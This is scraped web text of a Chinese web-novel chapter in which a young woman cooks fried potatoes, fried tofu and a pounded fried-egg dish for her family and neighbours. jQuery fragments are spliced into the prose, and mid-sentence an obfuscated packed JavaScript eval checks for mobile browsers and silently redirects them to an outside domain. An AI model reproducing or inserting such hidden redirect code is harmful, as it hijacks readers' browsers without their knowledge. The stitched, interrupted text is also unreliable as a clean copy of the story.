$(''.inform'').remove(); $(''#content'').append('' 豆进去，看到土豆块中心的白点都消失了就马上捞起，这样的土豆刚断生，吃起来的口感生脆。 再把另一半土豆放进去，炸到金黄、一块块在油里飘着，才捞起来。 一半生脆，一半外壳炸的脆脆的，内里却已经熟透得冒着粉。 把两种土豆都放到盆中之后，又将豆腐块也放了进去，将豆腐炸的干干的，表面都泛着金黄，再捞起和土豆一起放到盆中。 她一股脑的将切好的调料末和腐乳水倒到盆里，土豆太多，只能找了个家中最大的勺子用力的在盆里搅拌。 朱红梅看到她这个样子，忍不住笑道：“芽芽这样子，不知道的还以为是在熬猪食呢。” 姜芽也觉得好笑，这还是她第一次一次性炸这么多土豆，她用筷子夹了一块尝了尝味道，又在里面加了些盐和花椒粉。 搅拌均匀的土豆上全是满满的调料，光是闻到那味道就已经忍不住要吃了。 姜芽叫江文毅直接将大盆搬了出去，一人发了一根竹签，自己也迫不及待的戳了一块放到嘴里。 土豆本身的香味，带着辣椒和花椒粉的辛香马上充斥在她的嘴里，腐乳汁已经渗入土豆肉里，把土豆的香气衬得更足了些。 她又用签子戳了一块，把签子上的那块土豆当成铲子，把盆沿上的各种调料堆在土豆上，再张大嘴巴一口吞进去，这样的土豆的混合着更多的调料，香得姜芽都说不出话来，只是眯着眼睛一块接一块的吃。 这炸土豆的美味瞬间征服了姜家的所有人。 姜文和戳了一块炸豆腐，发现这炸豆腐虽然和炸土豆一起搅拌出来的，却也别有一番风味，豆香味十足的同时，竟然和调料的香辣完美的融合在了一起，虽然外壳酥脆，内里却还是软乎乎的。 他赶紧给朱红梅也戳了一块：“红梅，你尝尝这豆腐，一点都不逊色！” 姜文兴虽然不怎么能吃辣，也被这盆炸土豆炸豆腐俘获了，一边嘶哈嘶哈的哈着气，一边又忍不住要再吃一块。 姜芽看他这个样子，给他递了个水囊，里面正是她早上剩的薄荷水：“大哥你试试，炸土豆和薄荷水是天下第一绝配。” 姜文兴赶紧将水囊接过去咕嘟咕嘟喝了几口，又吃了一块炸土豆，忍不住称赞道：“还真是绝配！芽芽，你这炸土豆和薄荷水一起卖，兴许能卖出去更多！” 他说的正是姜芽的想法，听到他说出来，姜芽假意咳嗽两声说：“那大哥觉得，要是我明日就在村中支个摊卖这个，会不会能赚钱？” 姜文兴正在喝水，姜齐飞抢在前面说：“这东西确实好吃，就是还是那句话，咱们村穷人多，就是一开始有人买，时日多了，也只会慢慢的卖不出去，这炸土豆要是在阳宁镇卖，兴许还是个能挣些钱的生意。” 他说的也有道理，姜芽点点头又问：“那爹，你觉得在咱们村能卖些什么类型的吃食？” 姜齐飞想了想，说：“携带方便的饼子或是面食，应该能长久的卖一卖。” 面食吗？姜芽低着头沉思，似乎又有了什么想法。 15. 傣味荷包蛋 姜芽已经习惯了在这个时代的生活了。 尤其是在村里，每天早上起来都能呼吸到新鲜空气，整个世界好像就是一个天然的大氧吧。 也真正的做到了日出而作日入而息，而姜芽的“作”，便是每天做出些新鲜的饭菜。 她早上还是先去送了薄荷水，看着时间还早，就到了刘石榴家门口等着他。 也没等多久，就看到刘石榴一边出门一边往院中高声喊了一句：“娘，我出去啦，跟姜芽姐姐去的。” 院里一个女人的声音回应：“哎！去吧，别到处乱跑就行，回来吃饭啊！” 刘石榴开心的笑着关门，转头看到姜芽，才把脸上的笑意敛了些，又挂上那副以为很像大人的表情。 姜芽给他递了个装着薄荷水的水囊：“本来就是个小屁孩，装什么大人？” 本来只是句随口的调侃，却没想刘石榴却突然低着头，手里扣着水囊上冒出的线头。 姜芽停下脚步，疑惑的看着他：“你怎么了？小孩的心事？” 刘石榴咬着嘴唇，好像下定了某种决心似的开口：“姜芽，你前几日是不是去了阳宁镇？” 怎么突然问到了阳宁镇？姜芽有些摸不着头脑，点点头：“对啊，怎么，你也想去吗？” 刘石榴扣着水囊的手越发用力，声音也低了些：“不是，我爹去阳宁镇做工了，你下次要是还去的话，能不能帮我去看看他，就跟他说，我在家里很乖，也帮娘干活了，村里也没人欺负我和娘。” 姜芽一副原来如此的表情：“原来你一直整着个大人的表情，也不跟其他小孩玩，是怕你爹不在村里，其他小孩欺负你？” 刘石榴脸刷的一下就红了，梗着脖子说：“你就说你帮不帮我？” 姜芽假装思考，看着刘石榴的神情越来越紧张，才笑出声来：“哈哈哈，帮你帮你，这点小忙，姜芽姐姐帮你了。” 刘石榴听到她答应了，这才放下心来，支支吾吾半天说句：“谢谢姐姐。” 姜芽大咧咧的摇摇手：“举手之劳举手之劳哈哈哈，快走吧，我还要去摸石头呢。” 刘石榴带着她来到了村外的小河边，指着小河：“我就是在这河里找到的那些石头。” 姜芽看着清澈见底的小河，河底各种花色、形状不一的石头隐约可见，她二话不说脱下沾了些黄泥的粉白鞋子，放到一边，挽起裤腿就下了水。 水并不深，只到姜芽的小腿，凉凉的十分舒服。 她弯腰往河底抓了几块石头，伸开手一看，确实有好几块石头圆圆光光滑滑的，正是刘石榴给她的那种。 “快帮我再找些，待会带着你娘去我家吃饭！”她看着岸边发呆的小孩，招呼他一起帮忙。 刘石榴哦了一声，往另一边寻了个石头多的地方，也下水摸了起来。 也就小半个时辰，两个人就找了一兜子石头，甚至还抓到了四五条小鱼。 姜芽就着河水又把石头冲洗了一番，抓到的几条鱼她也没要，给了刘石榴，让他回去让他娘晚上做给他们母子二人吃。 想到这石头将来的用处，在回家的路上，姜芽忍不住吹起了口哨，仔细听，好像还带着点小调。 刘石榴拿着那几条小鱼，快步跟在她身后，心中嘀咕着邻居这个姐姐好像有些不一样了。 到了刘石榴家门口，他又站在自家门口，犹豫着问：“待会是我和我娘，都来你家吃饭吗？” 姜芽看着这个凡事都带着些小心的小孩，肯定的说：“对啊，半个时辰之后，你尽管带着你娘过来，添两双筷子的事。” 刘石榴的脸上终于是带了些这个年龄该有的稚气，脚步轻快的回了家。 姜芽把石头放到院中，请张春兰把这些石头再仔仔细细洗一遍，自己则是进了厨房，准备做今天的午饭。 本来在他们这种人家，鸡蛋也不是随时能吃的，比如姜芽和王氏打架的那次，家里才煮了鸡蛋给她一个人吃。 可现在她刚在阳宁镇赚了一笔不少的银子，又买了母鸡回来，鸡蛋就可以多吃一些了。 她数了数吃饭的人，十一个人，每个人两个鸡蛋，就从抽屉里数了二十二个鸡蛋出来。 每次做饭都要做一大锅，她觉得自己都有些像食堂做饭的厨师了。 鸡蛋先放到一边，她把出门前请王迎春帮她准备好的胡萝卜和黄瓜切成丝，由于没有洋葱，只能找了根大葱切成葱丝。 再把西红柿切成块，接着把刘石榴给的大芫荽和普通香菜切一起切碎，最后切了几个辣椒放到一边。 把这些准备好，她才在锅中烧油，油热之后，她拿起一个鸡蛋在锅沿轻轻一磕，熟练的用拇指和食指一掰，鸡蛋就落在了油里。 边缘的蛋清刺啦一声，马上就卷了起来，很快变成金黄的弯边，蛋黄慢慢凝固，裹着一层油光，姜芽拿着锅铲，快速的绕着鸡蛋轻轻推动，也往蛋黄上浇了些油。 等鸡蛋的底面煎的脆黄，她用锅铲轻轻一翻，把鸡蛋的另一面放到油里，轻轻晃动着。 两面都煎得金黄之后，就将荷包蛋铲出来放到一旁，接着放下一个鸡蛋。 等二十二个荷包蛋都煎好，姜芽的小脸上都流了些汗。 她拿出先前王迎春帮她找出来的舂臼，现在里面放了几颗剥了皮的大蒜和辣椒，用杵子用力的在里面捣，把大蒜和辣椒都捣碎之后，再把西红柿和葱丝、胡萝卜丝、黄瓜丝放进去捣了几下。 西红柿的汁水和配料混合在一起之后，再把荷包蛋、大芫荽、香菜一股脑倒进去。 本来是需要柠檬的，可惜没有，她只能往里面滴了几滴醋，又加了一点点酱油和盐，先用杵子在舂臼里面搅拌了几下，才再次用力的在里面捣。 捣，也叫做舂，辣椒粉也就是用这种舂臼舂出来的。 舂了不知道多少下，姜芽才停下了手，她甩了甩有些酸痛的手腕，看着舂臼里的荷包蛋，蛋黄和蛋白都已经充分吸收了配菜的汁水，染了些红色。 她往里面撒了一把花生碎，用杵最后搅了搅，连同舂臼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371734|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起端到了外面的桌子上。 刘石榴正巧带着他娘过来了，本来让他带回去晚上自己做的小鱼，也被他娘做了个汤端了过来。 他娘叫张巧兰，带着些雀斑的脸上带着些局促，手搓着衣角说：“姜哥姜嫂，我家这石榴不懂事，非说要带着我过来吃饭，真是……” 浦树巧将她手上的鱼汤接了过来，拉着她坐下说：“别说这些，咱们两家本来挨得就近，按理说是该多走动走动的，只是我家向来也吃不上什么好东西，也不好请你们过来。” 姜芽朝张巧兰笑：“婶婶，石榴可是帮了我大忙，请你们过来吃饭是应该的啦！” 听到姜芽夸刘石榴，张巧兰笑着摸摸他的头：“石榴这孩子懂事的早，要是能帮上你们一点忙，自然是最好的了。” 姜文毅已经搓着手看着舂臼里花花绿绿的舂荷包蛋了，眼看着他们只说话不吃饭，虽然心里急，但碍于有客人在场，也不好打断。 姜齐飞作为一家之主，适时的咳了一声：“石榴娘，赶紧尝尝我家芽芽的手艺吧，这东西我们也都没吃过。” 准备和浦树巧再拉拉家常的张巧兰这才想起来桌子上还放着饭菜，赶紧说：“你瞧我，尽顾着说话了。” 她是客人，所以先夹了一块荷包蛋，却没马上吃到嘴里，而是仔细看了看才说：“这是……？” “舂荷包蛋！”姜芽马上回答了她的问题。 张巧兰有些惊讶：“荷包蛋也能舂？” 然后咬了一口荷包蛋，这一口下去，荷包蛋中的酸辣的汁水马上流了出来，再加上蛋黄的绵和蛋白的嫩，让她完全没办法停下来。 姜文毅直接一口吞了一个荷包蛋，他这一口更是实在，酸辣味，荷包蛋的香味，胡萝卜和黄瓜丝的清香味混在一起，还嚼到了两粒干香的花生，直到整个荷包蛋都咽了下去，他的唇齿间都还留着那股酸辣劲。 相较于姜家人已经吃过不少姜芽的菜式，张巧兰和刘石榴显得更为惊喜。 一边觉得这是在别人家，不应该吃那么多，一边又觉得这东西实在是太好吃，忍不住要再吃一些。 最后舂臼里还剩了些底料，姜文毅直接将舂臼拿起来，把里面的杂七杂八的配料连同汁水一起倒到饭上，再把饭和这些东西拌在一起，只用了三五口就扒拉的干干净净。 张巧兰做的鱼汤也一人分到了一小碗。 这顿饭也算吃得扎实 张巧兰见张春兰收拾碗筷，也要上前帮忙，却被姜家人拦了下来。 浦树巧拉着她的手，热络的说：“巧兰妹子，这些事就让孩子去做吧，咱们俩刚才话还没说完，走，咱们去那边说。” 张巧兰也不好推脱，和浦树巧也实在是聊得来，转头嘱咐了一声：“石榴，看着你哥哥姐姐们有什么事就帮帮忙。”就和浦树巧进了屋子说话去了。 王迎春实在是喜欢吃这舂荷包蛋，拉着姜芽就各种讨教这道菜的做法。 时间就这样过去，而姜芽想去阳宁镇的想法，也越来越强烈了。